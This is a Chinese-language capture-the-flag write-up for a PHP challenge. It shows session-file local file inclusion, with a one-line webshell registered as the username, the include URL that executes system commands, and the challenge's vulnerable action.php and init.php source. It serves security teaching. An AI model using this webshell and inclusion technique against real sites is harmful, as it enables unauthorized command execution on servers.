Notebook-session包含

解题过程

观察

  • 具有登录,注册功能。任意注册,登录后提示there is no flag
    • 登录或注册存在数据库注入?测试并没有~
    • session包含?
  • url中存在/action.php?module=php&file=login,疑似文件包含
  • 扫目录存在robots.txt,其中禁止访问php1nFo.php
  • 观察php1nFo.php中发现
    • open_basedir /var/www/html/:/tmp /var/www/html/:/tmp 即可访问/tmp文件夹
    • session.save_path /var/lib/php5 /var/lib/php5 然而session在这个文件夹中
  • 官方Tips:包含php1nFo.php发现session真正路径 (怎么做到的?)
    • session.save_path /tmp/SESS /var/lib/php5
  • 随意注册登录,尝试包含session: (测试无法利用绝对路径?)
    • /action.php&module=&file=../../../tmp/SESS/sess_sjd6u2a234sq5kbrc3dhhhcdj4得到如下
    • lang|s:5:"zh-CN";user|s:5:"admin";uuid|s:36:"cbdc3636-0e19-11e7-a037-0242ac110003";

Payload

session中包含用户名,构造用户名为php木马,然后在action.php中包含该session

  1. 注册用户<?php $_GET['a'](base64_decode($_GET['b']));?>
  2. 命令执行/action.php?module=&file=../../../tmp/SESS/sess_sjd6u2a234sq5kbrc3dhhhcdj4&a=system&b=bHM= 发现flag就在目录下

源码找坑

action.php

<?php
include_once './include/init.php';  //包含初始化文件,这里对session的配置进行了修改
if (isset($_GET['file']) && isset($_GET['module'])) {
	$file = $_GET['file'];
	$module = $_GET['module'];
	if ($module === 'php') {
		include "./$file.$module";
	} else {
		if (file_exists("./$file")) {
			include "./$file";  //无法使用绝对路径
		} else {
			echo "the $file didn't exist";
		}
	}

} else {
	die();
}

php1nFo.php

<?php
phpinfo(); // 读取配置文件中的phpinfo
?>

./include/init.php

<?php
header("Content-type: text/html; charset=utf-8");
if (count(get_included_files()) == 1) {
	die();
}

error_reporting(0);
ini_set('session.save_path', '/tmp/SESS');  // 修改session存储路径
//ini_set('session.save_path', './tmp');
session_start();

function require_login() {
	if (!isset($_SESSION['user']) || !$_SESSION['user']) {
		header('Location: ./action.php?module=php&file=login');
		die();
	}
}

if (!isset($_SESSION['lang']) || !$_SESSION['lang']) {
	$_SESSION['lang'] = 'zh-CN';
}
if (isset($_GET['lang'])) {
	$_SESSION['lang'] = $_GET['lang'];
}
$langfile = './include/lang.' . $_SESSION['lang'] . '.php';
if (file_exists($langfile)) {
	include $langfile;
} else {
	$_SESSION['lang'] = 'zh-CN';
	die('Unable to load translation file: ' . $langfile);
}

知识小结

  • robots.txt泄露敏感信息
  • phpinfo中的openbase_dir,session.save_path
  • 动态修改php.ini
  • 文件包含利用
  • 绝对路径和相对路径
  • php中的session详解
  • 一句话木马的混淆以及使用